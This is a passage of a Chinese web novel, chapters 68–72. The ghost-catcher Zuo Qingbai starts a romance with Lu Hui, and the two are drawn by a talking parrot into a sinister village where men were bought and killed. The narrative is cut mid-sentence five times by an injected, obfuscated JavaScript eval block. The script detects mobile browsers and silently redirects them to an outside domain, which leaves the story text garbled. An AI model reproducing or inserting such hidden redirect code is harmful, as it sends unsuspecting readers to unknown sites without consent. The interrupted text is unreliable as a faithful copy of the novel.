路回这话什么意思?路回刚才也做了个一模一样的春梦?这关系以后还怎么处啊?左轻白大脑一片空白。 “没有。”左轻白否认道。 “你要是没有做梦,为什么语气这么慌张?我印象中你从不慌张。” “我没有慌。” “你有。” 左轻白叹了口气,疲惫道:“路回,你能先回去吗?我现在很累,我想休息。” “那你休息,我在外面陪你。”路回说。他在门外坐下,跟左轻白隔门相靠。 “陪我?”左轻白有些疑惑。 “我现在是你男朋友,陪你不应该吗?” 左轻白的心彻底乱了。 她应该跟路回谈恋爱吗?谈恋爱当然没什么不可以,他们门派又不禁止谈恋爱,只是…… 左轻白垂下头。她心想她不是这个世界的人啊,她不知道她以后的命运,她以后会留在这个世界还是会回到原来的世界,她通通不知道。如果在这个世界留了牵挂,但命运最终是要她回去的话,她该怎么办?她割舍不下的。 左轻白不知道该怎么办了。 思考了许久后,左轻白开口道:“路回,你还在吗?” “我在。”门外传来路回的声音,他果真没走。 “明天我搬出去吧。”左轻白说,“老住你家不太好。你要是害怕金绮月的话,还记得我之前给过你一个银召圈吗?遇到危险就转一下它,我会第一时间赶到你身边。” 68. 随自己的心意 次日,左轻白真的搬了出去。她现在有钱,找个住的地方不难。 路回没拦,或许有不舍,但路回是个有教养的人,强行留人的事他干不出来,况且他又不是察觉不到左轻白的尴尬与六神无主。 静一静也好,人如手中沙,抓太紧了反而散得快。 左轻白在新住处好好休息了几天,她最近没进组,比较闲。 左轻白联系上了兰殊尔,问他情况怎么样。兰殊尔说金绮月那一鞭太厉害,差点没把他打死,幸好他身上有从他原来的世界带过来的法宝——护身镜,才捡回一条命。 这么严重?左轻白心里惊讶,这么看来,金绮月打自己那鞭算得上是手下留情了,就算鞭子上有毒,但也不致命,只是让自己做了个乱七八糟的春梦而已。 左轻白回想那天晚上,忽然反应过来金绮月对自己从始至终都是手下留情的,当时金绮月从扇子里伸出一只手偷袭自己,她明明偷袭成功了,却没有伤害自己,只是把自己拉进扇子里而已。 “金绮月为什么不杀我?为什么对我手下留情?”左轻白喃喃自语。 忽然,左轻白想到那天晚上金绮月说的一句话:“……在杀你之前我必须弄清楚一件事,你到底是谁?跟村子有什么关系?你为什么知道那么多?” 左轻白这才恍然大悟,金绮月发现自己知道500年前鬼村的故事后非常惊讶,她想弄清楚自己跟鬼村有什么关系,所以才不急着杀自己。 “看来金绮月对鬼村的执念很深嘛。”左轻白自言自语道。 那天晚上左轻白睡着之后,恍恍惚惚进入了梦乡,梦里她回到了一座山里。 左轻白吓得一个激灵。自从做了那个春梦后,左轻白就很怕做梦,她怕自己又梦到什么乱七八糟的东西。但很快左轻白反应过来,这座山是她自小长大的山,她回到了她的世界。 左轻白很高兴,她轻快地在山间跑,跑回了道观,去找玄逸。 “师父!师父!我回来了!”左轻白一边跑一边呼喊。 玄逸正在树下的竹椅上睡觉,听见左轻白的声音,差点从竹椅上跳起来。 “你这死丫头这次怎么隔了这么久才回来?”玄逸一边埋怨,一边接住了飞扑过来的左轻白。 树荫下,师徒俩说了很多话,左轻白把这段时间发生的事告诉了玄逸,唯独隐去了做春梦那段。 玄逸帮左轻白卜了一卦,告诉左轻白一个坏消息:“金绮月的力量变强了。” “那怎么办?”左轻白问,“我还没找到弥月刃,我这段时间像个劳模一样跑了很多剧组,可是连弥月刃的影子都没有找到。” “离金绮月远点,自保为主。” “同在娱乐圈,难免会遇上,真遇上她会杀了我的。” “先别急,我觉得金绮月不会杀你。”玄逸摇着蒲扇,说。 “为什么?” “金绮月应该在怀疑你是500年前鬼村的鬼转世。” “鬼不能转世,这是常识。” “凡事总有个万一,而且人们愿意相信这个万一。我举个例子,癌症晚期无法治愈,这是常识吧?但是万一呢?万一奇迹真的出现了呢?谁最愿意相信这种万一啊?当然是对治愈癌症执念最深的癌症患者啦。” 说着,玄逸拉了一把左轻白的胳膊,拉她靠近自己,在她耳边说:“金绮月狠辣,唯独对鬼村心软,毕竟那是她视作为家的地方。你干脆以后就冒充是鬼村的鬼转世,金绮月一心软,就不会伤害你了。” “这种谎我撒过一次。”左轻白说,“但老撒谎也不是个事儿啊,金绮月揭穿我的谎言怎么办?那样的话,以金绮月的手段我会比谁都死得凄惨。” “不会被揭穿的。”玄逸安慰道,“你不是那个世界的人,所以那个世界的任何法器,哪怕金绮月把人皮鼓搬来,都照不出你真正的前世。你在那个世界的前世是一片空白,这不正好方便你撒谎吗?” “那……那金绮月要是问我更细致的事情怎么办?我对鬼村了解有限,我答不出来啊!”左轻白问。 玄逸一脸得意地掏出了手机,然后打开了阅读APP,找到原著小说《登顶娱乐圈女王》。 “作者是又发番外了还是改文了?”左轻白问。 “都有。”玄逸回答,“作者突然大修小说内容,把你的戏份增多了,把原来路回跟金绮月的感情戏全删了,并挂了个通知说要把小说改成无cp大女主,修改后金绮月不再跟男人有感情戏。” 左轻白扶额,“说改就改啊,作者改文能再随便一点吗?” “作者还加了番外。” “这个神奇的作者又写了啥?” “这篇番外叫《我在鬼村当团宠》,因为有读者觉得鬼村吃生食的设定很有趣,作者见读者喜欢,就写了一个叫小若的女鬼在鬼村的生活,写得还挺详细。你把这篇番外背下来,以后要是金绮月逼问你是鬼村谁的转世,你就可以骗她说你是小若的转世。撒谎也要有鼻子有眼人家才信不是?”玄逸说。 玄逸把手机塞到左轻白手中,说:“快背快背,抓紧时间。” “撒谎就算了,还冒充别人,太没有原则了吧?”左轻白嘟囔道。 “唉!你把师父的叮嘱都忘了吗?师父千叮咛万嘱咐,不要跟鬼讲原则,对付鬼用什么阴招都可以,有用就行!”玄逸一本正经地说,然而他长相喜感,越想表现正经就越喜感。 “知道知道,实用主义嘛。”左轻白叹了口气,乖乖背番外去了。 左轻白背得差不多了,不知怎的,她忽然有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466830|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惆怅。 “师父,我能问你一件事吗?”左轻白说。 “问呗。”玄逸道。 然而左轻白沉默半天不开口。 左轻白想问玄逸感情的事,但转念一想,玄逸这家伙是个老光棍,他懂个屁?问他等于问空气。 左轻白叹了口气,“算了,不问了。” 玄逸贼眉鼠眼地一笑,说:“怎么了?遇到感情上的问题了?”? “师父你怎么……” “觉得师父怎么会懂?” “你不是老光棍吗,老光棍怎么会懂?” “我不是天生就是老光棍!师父也年轻过!” “好吧。” “你这小丫头从来都是风风火火,什么时候有过扭扭捏捏犹犹豫豫的表情?如果有,那就只有一个可能,遇到感情问题了。” “我刚才的表情扭扭捏捏犹犹豫豫?”左轻白捧着脸蛋。 “对。”玄逸非常肯定地点头。 “我梦到了一个人。”左轻白实话实说,“可梦到之后,我就不知道怎么面对他了。” “哦豁。”玄逸露出八卦的眼神。 “我现在见到他很尴尬,但见不到他吧,就……就有点想他。” “以师父的经验,孩子你完了。”玄逸沉痛地说。 “但他跟我属于两个世界,我算不清我的命运,我不知道以后我是会留在那边,还是回来这边,所以,我不敢喜欢他。” “孩子,你的命运,现在谁都算不清楚,但不要因为不知道以后会怎样,就一步都不敢往前迈。” 玄逸进了一趟道观,去取了一块小木牌送给左轻白。这个地方偶尔有游客,这些小木牌是送给游客的,小木牌上刻了不同的字,玄逸特地挑了一块给左轻白。 左轻白看着手中的小木牌,木牌上刻了“随心”两个字。 “随心?”左轻白念出了声。 “是的,随心。”玄逸说,“师父有过感情,但师父的感情没有好的结局,师父的经验是失败的经验,所以师父没什么好教你的。师父给你这块‘随心’的牌子,就是让你随自己的心意,自己去体验。无论体验是好是坏,都是你的阅历。” 左轻白看着小木牌陷入沉默。 忽然,左轻白发现自己的身体逐渐变成半透明。 “师父,我又要回去了。”左轻白说。 —————————————— 左轻白从床上醒来,她揉了揉眼睛,她又回到了她当女明星的这个世界。 天亮了,窗外阳光正好,万里无云。 左轻白发现自己手里握着一块小木牌,木牌上刻了两个字:随心。师父给的木牌跟随自己来到了这个世界。 随心。左轻白默念这两个字。 69. 周围没有鬼气 在家休息的这几天,左轻白每天睡前想到的是路回,睡醒睁眼时想到的还是路回。左轻白再怎么默念静心咒,这个人总是会从脑海里冒出来,尤其是睡前和睡醒时最严重。 左轻白从未有过这样的经历,她心想难道这就叫喜欢? 我是不是想见他了?左轻白在心里问自己。 左轻白捏了捏师父给她的“随心”牌子,她觉得既然想见,那就去见吧。 反正最近不进组,有的是时间,左轻白约了路回出来吃饭。 餐厅里,两人气氛略显尴尬。 左轻白低头吃饭,忍不住悄悄抬眼看了一眼路回。她以为不会被路回发现,然而却看到路回正在看着自己。路回眼神灼灼,目光幽深,路回这人出身矜贵,一向很有教养,从未露出过这种具有侵占性的眼神。左轻白刚才一抬眼,正好跟路回的目光相撞。 左轻白眼眸垂了下去,路回也收回目光,略显慌乱。 左轻白放在桌子底下的那只手还捏着师父给她的小木牌。左轻白低头看了一眼木牌上的字:随心。 师父说让自己随自己心意,那么自己的心意到底是什么呢? 自己这几天睡着前想他,睡醒睁眼时还想他,自己不是没接触过男生,认识的男孩子里,除了他之外还有谁让自己这样? 自己无论跟谁相处,从来都坦坦荡荡,但刚才悄悄抬眼看他,却充满了扭捏的意味。 让人变得不像自己,这是喜欢吧? 左轻白用力攥紧小木牌,忽然想:如果我喜欢,那他为什么不能是我的呢? 左轻白正想开口,路回却先她一步开了口,路回冷不丁说了一句:“最近睡得不好。” “为什么?”左轻白下意识地问。 “我晚上闭眼前在想一个人,早上睁眼时发现脑子里还在想她。” 左轻白双颊忽然微红,稀里糊涂地说道:“没做梦吧?没做乱七八糟的梦就好。” “那不是我能控制的。如果做的是噩梦,还能叫你过来驱驱鬼,但偏偏那不是噩梦。” “不是噩梦难道是美梦?” “是啊,是美梦。” 这次换路回坦坦荡荡,左轻白双颊飞红。 路回看出了什么。 这位捉鬼师小姐从不脸红,她反常地脸红了几次,路回便知道,他胜券在握了。 男女之间的博弈,从来都是一来一往,占上风的有时是她,有时是他。 于是路回不紧不慢,坐等左轻白开口。 左轻白攥紧了小木牌,深吸一口气,像奔赴战场的壮士一样对路回说道:“路回,你能做我男朋友吗?我好像喜欢上你了。” 路回一愣。虽然路回知道这次占上风的是他,但他没想到左轻白居然这么直白。 左轻白观察路回的表情,急道:“你不同意?你是不是觉得纸人那次你被耍了?” “不是。”路回连忙说,“我以为你至少会让我把那天晚上说给纸人的话再说一遍给你听。” 左轻白把头一转,“你说给纸人的话纸人听了就行了,不用再说给我听。” 路回忍住笑,“你在生气吗?” “我跟一个纸人生什么气?你就说你同不同意吧。” “我早就同意了啊。是你自己忘了。”路回叹气道。 路回向左轻白伸出一只手。 “干什么?”左轻白问。 “今晚南滨路有烟花,我们看烟花去。对了,这段时间你没工作,我也不忙,我俩正好去度蜜月。” “乱来,结婚的才叫度蜜月。” “都一样,以后结婚再度一次。” …… 左轻白跟路回去看了南滨路的烟花,之后,她跟路回开始了一段两个人的旅行。两人去了海边,去了异国的街道,开着车在环岛公路上奔驰,晚上,他们在星空下接吻、拥抱,做更亲密的举动。 左轻白很快乐,这时候的左轻白不是女明星,也不是捉鬼师,只是一个陷入恋爱的普通人。 左轻白从独来独往到习惯了路回在身边,在一天一天的陪伴、一次一次的亲密接触中,她与路回之间生发出了强烈的情感联结,这种联结就叫羁绊,至此,左轻白在这个世界有了牵挂。 这既是好事,也是坏事,好在于左轻白从此对这个世界有了更深的归属感和更好的体验,坏在于左轻白本来只是个从异世界来的过客,在这边无牵无挂,因为没有牵挂,所以左轻白能在任何时候都保持绝对的理性, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503118|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以说是个天选捉鬼师,而路回打破了这种局面。 两个人的蜜月游虽然甜蜜,但再美好的旅行都有接近尾声的时候。此时两人已经从国外回到国内,他们旅行的最后一站是国内一个叫落英谷的景点,游玩过落英谷后,两人就要回程了,之后左轻白要进新的组,路回也要忙起来了。 落英谷有两大游玩点,一是赏樱,落英谷有整整九个山头的樱花,如今正是樱花盛开的时节,漫山遍野的花一开,比动漫里的场景还美;二是美食,落英谷里有个落英镇,听说落英镇的厨师都是御厨后代,比米其林星级餐厅的大厨还厉害。 左轻白跟路回手牵手走进了落英镇。 落英镇是个历史悠久的古镇,街上还保留着古老的青石板,那些石桥都是有年头的,就连路边随便一家店,都可能是受保护的古建筑。 左轻白在这里发现了一种有意思的东西:狐狸庙。 庙不是真的大庙,而是指路边用大理石建造的神龛,神龛不稀奇,稀奇的是神龛里供奉的神,大多数建在路边的神龛供奉的都是土地公或者财神爷之类的神,而落英镇里的神龛无一例外供奉的都是狐狸。 神龛里,大理石做的狐狸雕塑眯着眼睛在笑,第一眼看没什么,看久了总觉得这些狐狸面相有些诡异。 “别人供奉的不是土地公就是财神爷,这里供奉的怎么全是狐狸?”路回问。 “听说在上古的时候,狐狸是瑞兽,象征吉祥美好,只是后来传着传着就被传成凶兽了。”左轻白说。 “可能落英镇历史悠久,所以保持了上古时候的狐狸形象吧。” “但国内古镇那么多,比落英镇历史悠久的又不是没有,你还听说过其他地方也有供狐狸的吗?” 左轻白说着,蹲下身,伸出手摸了摸神龛里的狐狸雕塑。突然,左轻白一恍神,她居然看到神龛里的狐狸雕塑动了,伸出长嘴咬了她的手一下。 左轻白“呀”了一声,把手缩回来,她定眼一看,自己的手并没有受伤,神龛里的狐狸雕塑也没有动。 左轻白脸色一变,眼中闪过厉色,她念起了咒语,手中飞出符咒,去找鬼气。 “周围没有鬼气?为什么……”左轻白看着那尊狐狸像喃喃自语。 70. 一家叫“真味”的餐馆 忽然,路回握住了左轻白的手。 路回叹气道:“捉鬼师小姐,职业病又犯了吧?” “不是职业病又犯了,是刚才真的……” 路回抓紧左轻白的手,与左轻白十指相扣。路回不高兴道:“这是你跟我两个人的蜜月行,我不希望有什么乱七八糟的东西来打扰我们。” 路回把左轻白拉起来,忽然他揽住左轻白的腰,吻上了左轻白的唇。 左轻白连忙推开他。左轻白指了指路边的神龛,说:“神龛前面不要做这种事。” 路回莫名其妙道:“为什么?没事的,我不迷信。” 左轻白一跺脚,“你不迷信我迷信啊!” 路回突然憋笑。 左轻白推了他一把,“你笑什么?” 路回憋笑道:“好好好,不在神龛前面亲,咱们今晚回酒店亲。”路回凑到左轻白耳边,轻声说:“今晚回酒店,想怎么亲怎么亲,想怎么疯怎么疯,上次没有玩完的,咱们继续玩。” 左轻白“唰”的一下双颊飞红,她捂着自己的耳朵,跑到前面去,一边跑一边慌道:“啊啊啊,玩什么?不玩,什么都不玩。” 路回不自觉地露出笑容,跟了上去。 路回是左轻白的第一个人,路回虽然出身于富二代家庭,但他跟着他那位高风亮节的外公长大,从小家教很严,不混那些乱七八糟的富二代圈子,所以左轻白也是路回的第一个人。两个第一次体验男女情事的小年轻,在床事上多少有些食髓知味,每天晚上变着花样玩。路回瞧着虽然不算太壮,但在床上却精力无限,穿着衣服的他倒是正经纯情,像个根正苗红的大好青年,但衣服一脱,那些让左轻白脸红的话他倒是说得一套一套的;而左轻白呢,看似很行很开放,平时跟路回说话动不动就是“你是不是要潜规则谁谁谁”,然而真到了床上,她却总被路回撩得面红耳赤。 两人手牵手走进一家叫“真味”的餐馆,听说这家餐馆的老板和掌勺大厨都是御厨后代,以前只有皇帝才能尝到他家的厨艺,路回提前定了包间。 餐馆足足有三层,装修得古香古色,一二层都是普通座位,三层则是贵宾区域,都是包间,更舒适也更安静,价格当然也更贵。 路回和左轻白进了包间,包间很宽敞,布置得很有古韵,桌椅、屏风、挂画,都雅致得很。 包间里有一只鹦鹉,羽毛非常漂亮。鹦鹉被剪了羽,所以飞不了。 左轻白随口一说:“这鹦鹉漂亮,就是不知道会不会说话。” 哪知鹦鹉果真接了左轻白的话:“会说,会说。” 左轻白乐了,“还真会说话啊!” 鹦鹉歪着脑袋打量左轻白,忽然来了一句:“你多少钱买的?” 左轻白指着自己的鼻子,说:“我?我多少钱买的?我还想问你是老板多少钱买的呢!” 左轻白起了玩心,指着鹦鹉,命令道:“快夸我好看。” “不夸,不夸。”鹦鹉说。 左轻白“啧”了一声,继续跟鹦鹉斗嘴:“你这鸟怎么这么不会来事呢?” 鹦鹉突然冷不丁来了一句:“你变紫了。” “我变紫了?” “你脱皮了。” “我脱皮了?” “你变大了。” “我变大了?” 左轻白越听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538827|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越好笑,忙向路回招了招手,说:“路回,快过来看这只鸟。” 于是路回走到左轻白身边。 鹦鹉看了一眼路回,突然冷不丁来了一句:“你杀了她。” 路回莫名其妙,左轻白哈哈大笑。 “这鸟真逗。”左轻白说。 这时,店员来上菜了。 店员一来,鹦鹉马上变得安安静静,不再说话。 菜上齐了,路回和左轻白开始品尝美味。菜的味道的确很棒,不负御厨后代的名头。 吃完后,路回和左轻白携手走出包间,他们从三楼走到一楼时,热情的副店长笑眯眯地问他们:“两位客人,觉得我们店的菜品怎么样?有没有什么宝贵意见向我们提的?” “你们店的菜非常好吃。”左轻白说,她又多加了一句:“店里的鹦鹉也特别有趣。” “鹦鹉?”副店长一愣,“什么鹦鹉?我们店里没有鹦鹉啊。” “可是刚才我们的包间里就有一只鹦鹉啊。”左轻白跟路回面面相觑。 这时一名店员路过,副店长叫住他,问:“小刘,刚才是你给这两位客人上菜的吧?两位客人的包间里有鹦鹉吗?” 这名叫小刘的店员一脸茫然地说:“没有啊,我去上菜的时候没有看到什么鹦鹉。我们店什么时候有过鹦鹉啊?” 左轻白和路回都愣了。 左轻白突然脸色一变,迅速转头往回跑,她“蹬蹬蹬”跑上楼梯,回到刚才她和路回吃饭的那个包间,推开门闯了进去,路回也跟着她进去。 包间里根本就没有什么鹦鹉。 路回和左轻白对视一眼,两人都觉得背脊发凉。 71. 你多少钱买的 离开真味餐馆,左轻白心事重重。 路回知道她心中所想,牵着她的手逗她:“捉鬼师小姐,遇到难题了是不是?” 左轻白点了点头,喃喃自语道:“狐狸塑像没有鬼气我可以理解,人家坐在神龛里,是镇守一方的神,不是鬼。但那只奇怪的鹦鹉怎么也没有鬼气?” 路回笑道:“哟,这是开启新副本了?之前遇见的都是鬼,这次连神都出来了?捉鬼师能跟神明沟通吗?” 左轻白摇了摇头,“不能,神跟我们不是一个系统的。捉鬼师再怎么厉害,也不过是有点本事的普通人而已,一般情况下捉鬼师见不到神,神也不屑见我们捉鬼师。” “你也说了是一般情况。万一有例外呢?万一那个狐狸神有事找你呢?”路回道。 “我?”左轻白用手指着自己的鼻尖,不可置信。 “对。”路回点点头,“那只鹦鹉那么奇怪,但你又偏偏闻不到鬼气,说不定它不是鬼,我有个猜测,它是狐狸神派来的。” 左轻白恍然大悟,连忙抓住路回的手,对路回说:“走,我们回狐狸庙看看。” 左轻白和路回回到狐狸庙前,左轻白脱下自己的外套,用自己的衣服把狐狸庙上的灰擦得干干净净,又跪在狐狸庙前,虔诚地说:“捉鬼师左轻白拜见狐狸神。狐狸神,您有什么指示,可以明说吗?” 狐狸庙没有动静,左轻白和路回面面相觑。 “不急,我还有办法。”左轻白说。 说完,左轻白口中念念有词,指尖金光乍现,金光化作一把精致的小木槌,像敲门一样敲了狐狸庙三下,狐狸庙瞬间被金光笼罩。狐狸庙清脆地“嗡”了一声,果真有了响应。 左轻白把敲门的小木槌收起来,得意道:“瞧,我比以前更厉害了,我的法力进步了好几阶。” “哦。”路回悠悠地说,“那应该有我的功劳。” 路回这一句话说得左轻白满脸通红。 左轻白去锤路回的胳膊,路回只是笑。两人正闹着,突然,一只鹦鹉不知从哪飞了过来,落在被金光笼罩的狐狸庙前。 鹦鹉就是在真味餐馆的那只。它歪着头打量左轻白,开口说道:“你多少钱买的?” 跟在真味餐馆时一模一样的台词。 这次左轻白没接它的话,鹦鹉便自顾自地往下说: “你变紫了。” “你脱皮了。” “你变大了。” 最后,鹦鹉歪头看了左轻白身边的路回一眼,对路回来了一句:“你杀了她。” 这是左轻白和路回第一次觉得会说话的鹦鹉那么瘆人。 鹦鹉说完,狐狸庙突然变大。这种路边的神龛一般体积不大,跟个小盒子一样的大小,但此时它闪着金光,渐渐变大,大到一扇门那么大。 接着神龛像一扇门一样朝左轻白和路回打开了,门后是一条幽静的小路,鹦鹉率先飞了进去,引导左轻白和路回往里走。 神龛就在路边,路上偶尔有其他行人路过,但除了左轻白和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544130|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路回之外,没有一个人发现神龛的变化。 左轻白对路回说:“我想进去看看。” “我也去。” “可是……” “咱们国内国外去了那么多景点,哪一次有这次这么刺激?”路回说着,牵起了左轻白的手。 “可你不是说不想被乱七八糟的东西打扰吗?” “走吧,捉鬼师小姐。”路回拉着左轻白的手走入了那道门,边走边说:“只要你在我身边,就没有什么乱七八糟的东西,都是有趣的东西。” 左轻白笑了,她抓紧了路回的手。 两人顺着小路一直走,不知走了多久,路的两旁出现了农田,在农田里劳作的无一例外都是穿着粗布麻衣的妇女。 这一画面有两个诡异之处,第一,如今是现代社会,可妇女们穿的不是现代的衣服,而是古代的衣服,看上去像是古人;第二,如果她们真是古人的话,以古代男耕女织的传统,怎么出来耕田的都是女人而没有男人? 一个大娘从田里走出来,路过左轻白和路回身旁,一双眼睛不停地打量路回。 路回的颜值很高,剑眉,凤眼,薄唇,高鼻,走在路上被打量是很正常的事情,但是吧,这个大娘的眼神却让人非常非常的不舒服。 路回眉头一皱,面露不悦,就算他教养再好,被这种让人不舒服的眼神一直看着也难免生气。 忽然,那大娘转头看向左轻白,指着路回笑眯眯地问了左轻白一句:“这是你多少钱买的?” 72. 想告诉我们什么 大娘说罢,田里的其他女人也被路回吸引,纷纷从田间走上来,围到左轻白和路回跟前。这群女人打量路回的目光相当放肆,仿佛把他当成某种漂亮的物品。 忍无可忍,无需再忍。路回只是教养好,不是没脾气,路回脸一沉,朝这群女人冷冷呵斥:“都让一边去!” 路回好歹也是在高位上呆惯了的人,脸一沉,话一冷,自然而然地带上了高位者的气势,在公司时他一旦摆出这样的姿态,下属没有不发怵的。 然而这一次,他再怎么摆姿态和亮态度都没有用,那群女人完全没把他的态度当回事,她们嬉皮笑脸,望向路回的目光充满了调戏意味,那种眼神相当冒犯和不尊重人。 一个女人笑嘻嘻地对路回说:“你长那么好看,我们看得腿软,走不动道了!” 路回怒了,说:“我看你们都是女人,不想跟你们计较,不要真以为我是软柿子!” 女人们哈哈大笑,继续调戏:“你不是软柿子,那你硬给我们看看啊!” 放肆又粗俗。 这群女人,路回冷脸,她们笑,路回发怒,她们也笑,无论路回有什么样的情绪,她们都不当回事,就好像小猫小狗有情绪了,人也不当回事一样。 左轻白也生气了,出声道:“这是我男朋友,你们别得寸进尺!” 说来也怪,路回生气不管用,左轻白生气反而很有用,女人们见左轻白黑脸了,纷纷退到两旁,给两人让出道来,不再语言调戏路回。 左轻白和路回继续往前走。 “这些人真没素质。”走远之后,路回皱眉道。 “路回,你发现这个地方的古怪了吗?”左轻白问。 路回说:“这里的女人像男人。” “没错。这里的女人代替男人在田里劳作,像男人一样喜欢调戏异性,这里的女人不是女人,而是男人!” “我们会不会来到了类似女儿国一样的地方?”路回猜测。 “我觉得是。” “刚才那个女人问你我是多少钱买的,是什么意思?” “难道……在这个地方男人是可以买卖的?”左轻白惊讶道。 说着,左轻白握紧了路回的手,对路回说:“那我要把你牵紧了,别让你被人给买走了。” 两人顺着小路往前走,一直走到村门口,村大门的牌子上写了三个大字:女儿村。 左轻白对路回说:“路回,你说对了,只不过不是女儿国,而是女儿村。” 村口坐着一排女人,个个叉着腿坐,行为粗鄙,路回一出现,她们就目光炯炯地盯着路回看,像饿狼看食物一样,毫不矜持,跟老光棍一个样,如果不是左轻白始终牵着路回的手,她们可能都已经扑过来了。 虽然没扑过来,但她们嘴上依然没闲着,冲着路回喊:“帅哥真好看!我给你生孩子呀!” 路回的眉头拧得死死的,仿佛能夹死一只苍蝇。 路回的眼神像一把刀,冷冷扫过村口那些女人,眼中充满嫌恶,但他越嫌恶,那些女人反倒越兴奋。 这里的女人是男人。 这里的男人所遭遇的,是女人所遭遇的。 左轻白见到这场景,对路回说:“对不起,早知道我就不让你进来了,我不知道里面是这种情况。” 路回却说:“哪这么生疏?跟我还说什么对不起?我就是喜欢跟着我的捉鬼师小姐经历这些千奇百怪的东西,这些奇遇,别人想要还没有呢。” 左轻白看着路回,眼露笑意,路回则满眼都是左轻白。恋爱初期就是这样,蜜里调油,如胶似漆。 左轻白和路回手牵手走进村子里。 “村子里也没男人?这么古怪?”左轻白奇怪道,“是太少了?还是没有?” “是太少了。如果没有的话,村口那些人没见过男人,她们应该不认得我是个什么东西才对,但很明显她们认得。” “也是。” “这里的人虽然讨厌,但想知道点什么线索,必须要跟他们接触。我们随便找一家人,找个理由进去聊聊吧。”路回说。 左轻白随手指了一家,说:“就这家吧。” 左轻白随便找了个借口,说他们是外地来的,进来讨口水喝,这家大娘很热情,把他们迎了进来。 左轻白跟大娘聊起了天,左轻白对大娘说路回是她老公,大娘好奇地问左轻白:“外头结婚花多少钱啊?” “啊?”左轻白一愣,路回装傻。 大娘愁眉苦脸道:“我们这里结婚可贵了,倾家荡产,没办法,这里男人实在太少了。” “是啊,我一路上就没看到几个男人,男人怎么会这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555560|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么少呢?”左轻白套大娘的话,路回继续装傻。 “杀光了呗。”大娘淡淡地说。 “啊?” “以前都不愿生男孩,生下男孩就弄死,几代人累积下来,男人就少了。” “那……那你们结婚难,不是活该吗?”左轻白说了句大实话。 “现在查得严,不让买男人,以前是可以从外面买的,但买来的不听话,只好在猪圈里杀了。”大娘平静地说。 大娘又道:“我家以前也杀过一个买来的,杀了扔在猪圈没处理,过了小半天,他变紫了。” “他变紫了?”左轻白震惊。 左轻白拉住路回,对路回说:“餐馆那只鹦鹉也说变紫了。” 路回低声提醒:“我看,餐馆那只鹦鹉,现在就坐在我们面前吧。” 左轻白转头去看大娘,只见大娘说着说着,她的脸忽然变形,鼻子和嘴巴的部位竟然长出了鸟喙,鸟喙呈弯钩状,像极了左轻白在真味餐馆遇到的那只鹦鹉。 “你是?”左轻白指着大娘,惊道。 大娘浑然不觉,继续往下说:“又过了几天没处理,他的皮渐渐脱落,他的身体逐渐变大,像充了气似的。” 左轻白想到鹦鹉在餐馆说的那些话:脱皮了、变大了。 大娘的眼睛变成鸟眼,脚缩成爪子,蹲在凳子上,两只手逐渐长出羽毛,变成翅膀。 大娘像只鸟一样歪着头,那双鸟眼一眨不眨地盯着左轻白看,冲左轻白发出一声犀利的鸟叫声,用刺耳的声音说:“我杀了他!” “那尸体呢?”左轻白大声问大娘,“猪圈里的尸体,最后安葬了没!” “没有!没有!所以……他有怨气啊!”大娘发出尖锐的声音,“帮我消了怨气!帮我消了怨气!”大娘瞪大鸟眼朝左轻白喊。 伴随着大娘尖锐的鸟叫声,周围的一切开始融化、消失,一股巨大的力量把左轻白和路回往外推。左轻白和路回一眨眼,他俩已经被硬生生推出了一开始进来的那道门。 